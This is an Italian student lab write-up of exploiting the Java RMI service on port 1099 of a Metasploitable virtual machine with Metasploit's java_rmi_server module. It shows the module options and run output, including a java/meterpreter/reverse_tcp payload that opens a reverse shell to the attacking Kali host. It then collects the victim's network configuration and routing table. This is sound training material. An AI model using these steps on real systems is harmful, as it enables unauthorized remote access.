

Progetto S7/L5

In questo progetto andremo ad attaccare la macchina target presenta su un servizio vulnerabile sulla porta 1099 Java RMI, per poi scoprire:

- 1) configurazione di rete.
 - 2) informazioni sulla tabella di routing della macchina vittima.
1. Andiamo a settare i due ip sulle nostre macchine (192.168.11.112 META e 192.168.11.111 KALI).

```
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:04:42:0f brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.111/24 brd 192.168.11.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::3ff9:c122:b3f2:7d48/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

```
msfadmin@metasploitable:/$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:df:56:46 brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.112/24 brd 192.168.11.255 scope global eth0
    inet6 fe80::a00:27ff:fedf:5646/64 scope link
        valid_lft forever preferred_lft forever
```

2.Fatto ciò avviamo **msfconsole** sulla nostra kali

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: Writing a custom module? After editing your module, why not try
the reload command

Metasploit Park, System Security Interface
Version 4.0.5, Alpha E
Ready ...
> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and...
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!

      =[ metasploit v6.4.56-dev ]
+ -- --=[ 2505 exploits - 1291 auxiliary - 431 post ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > |
```

Purtroppo niente cuore.....non so se a questo punto riuscirò ad eseguire l'exploit.....speriamo di si.

Non perdiamoci d'animo e cerchiamo l'exploit da utilizzare.

Matching Modules		Disclosure Date	Rank	Check	Description
#	Name				
0	exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce	2019-05-22	excellent	Yes	Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
1	exploit/multi/http/crushftp_rce_cve_2023_43177	2023-08-08	excellent	Yes	CrushFTP Unauthenticated RCE
2	\ target: Java
3	\ target: Linux Dropper
4	\ target: Windows Dropper
5	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	Yes	Java JMX Server Insecure Configuration Java Code Execution
6	auxiliary/scanner/misc/java_jmx_server	2013-05-22	normal	No	Java JMX Server Insecure Endpoint Code Execution Scanner
7	auxiliary/gather/java_rmi_registry	.	normal	No	Java RMI Registry Interfaces Enumeration
8	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
9	\ target: Generic (Java Payload)
10	\ target: Windows x86 (Native Payload)
11	\ target: Linux x86 (Native Payload)
12	\ target: Mac OS X PPC (Native Payload)
13	\ target: Mac OS X x86 (Native Payload)
14	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
15	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation
16	exploit/multi/browser/java_signed_applet	1997-02-19	excellent	No	Java Signed Applet Social Engineering Code Execution
17	\ target: Generic (Java Payload)
18	\ target: Windows x86 (Native Payload)
19	\ target: Linux x86 (Native Payload)
20	\ target: Mac OS X PPC (Native Payload)
21	\ target: Mac OS X x86 (Native Payload)
22	exploit/multi/http/jenkins_metaprogramming	2019-01-08	excellent	Yes	Jenkins ACL Bypass and Metaprogramming RCE
23	\ target: Unix In-Memory
24	\ target: Java Dropper
25	exploit/linux/misc/jenkins_java_deserialize	2015-11-18	excellent	Yes	Jenkins CLI RMI Java Deserialization Vulnerability
26	exploit/linux/http/kibana_timeline_prototype_pollution_rce	2019-10-30	manual	Yes	Kibana timeline Prototype Pollution RCE
27	exploit/multi/browser/firefox_xpi_bootstrapped_addon	2007-06-27	excellent	No	Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
28	\ target: Universal (Javascrypt XPCom Shell)
29	\ target: Native Payload
30	exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315	2023-05-26	excellent	Yes	Openfire authentication bypass with RCE plugin
31	exploit/multi/http/torchserver_cve_2023_43654	2023-10-03	excellent	Yes	Pytorcode Model Server Registration and Deserialization RCE
32	exploit/multi/http/totals.js_cms_widget_exec	2019-08-30	excellent	Yes	Total.js CMS 12 Widget JavaScript Code Injection
33	\ target: Total.js CMS on Linux
34	\ target: Total.js CMS on Mac
35	exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc	2021-09-21	manual	Yes	VMware vCenter VScale Priv Esc
36	exploit/multi/misc/vscode_ipynb_remote_dev_exec	2022-11-22	excellent	Yes	VSCode ipynb Remote Development RCE
37	\ target: Windows
38	\ target: Linux File-Dropper

Una volta identificato, selezioniamolo tramite il comando **use**, assieme alla riga corrispondente.

Andiamo poi a vedere le sue opzioni per configurarlo al meglio.

```
msf6 exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):


| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (tcp)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |


Payload options (java/meterpreter/reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |


Exploit target:


| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |


View the full module info with the info, or info -d command.
```

Perfetto notiamo che l'opzione **RHOST** è richiesta ma non è settata, bisogna dunque inserire lì l'IP della nostra macchina target.

```
msf6 exploit(multi/misc/java_rmi_server) > set rhost 192.168.11.112
rhost => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > java/meterpreter/reverse_tcp
[*] Unknown command: java/meterpreter/reverse_tcp. Run the help command for more details.
This is a module we can load. Do you want to use java/meterpreter/reverse_tcp? [y/N] n
msf6 exploit(multi/misc/java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > █
```

Andiamo inoltre a settare anche il **PAYLOAD** di default, che andrà ad identificare il **path** che dovrà seguire il nostro exploit.

3. Ora che è tutto configurato a dovere, facciamo partire il nostro exploit

```
msf6 exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/oNU0MUCuiV
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:56244) at 2025-05-16 04:11:57 -0400
```

Ci ritroveremo dentro una sessione **meterpreter**, questo significa che siamo dentro la nostra macchina target, e tramite il comando **ipconfig** troviamo la configurazione di rete della macchina target.

```

meterpreter > ip config
[-] Unknown command: ip. Run the help command for more details.
meterpreter > ipconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fedf:5646
IPv6 Netmask : ::

```

Mi raccomando il comando va scritto tutto attaccato.....

4. Manca solo la tabella di routing

Andiamo ad eseguire il comando **route**, sempre dalla nostra sessione **meterpreter**.

```

meterpreter > route

IPv4 network routes
=====

```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```

IPv6 network routes
=====

```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fedf:5646	::	::		

5. Conclusioni

Durante l'esercitazione, è stata identificata una vulnerabilità sul servizio **Java RMI** in esecuzione sulla porta **1099** della macchina **Metasploitable** (192.168.11.112). Utilizzando il framework **Metasploit** dalla macchina

attaccante (192.168.11.111), è stato possibile sfruttare la vulnerabilità per ottenere una **sessione Meterpreter**.

Attraverso la sessione ottenuta, sono state raccolte le seguenti evidenze richieste:

1. **Configurazione di rete** della macchina vittima, inclusi indirizzo IP, interfacce attive e netmask.
2. **Tabella di routing**, utile per comprendere come la macchina gestisce il traffico di rete e le rotte predefinite.

Tutto questo è stato possibile nonostante l'assenza del cuore una volta avviato msfconsole.....incredibile.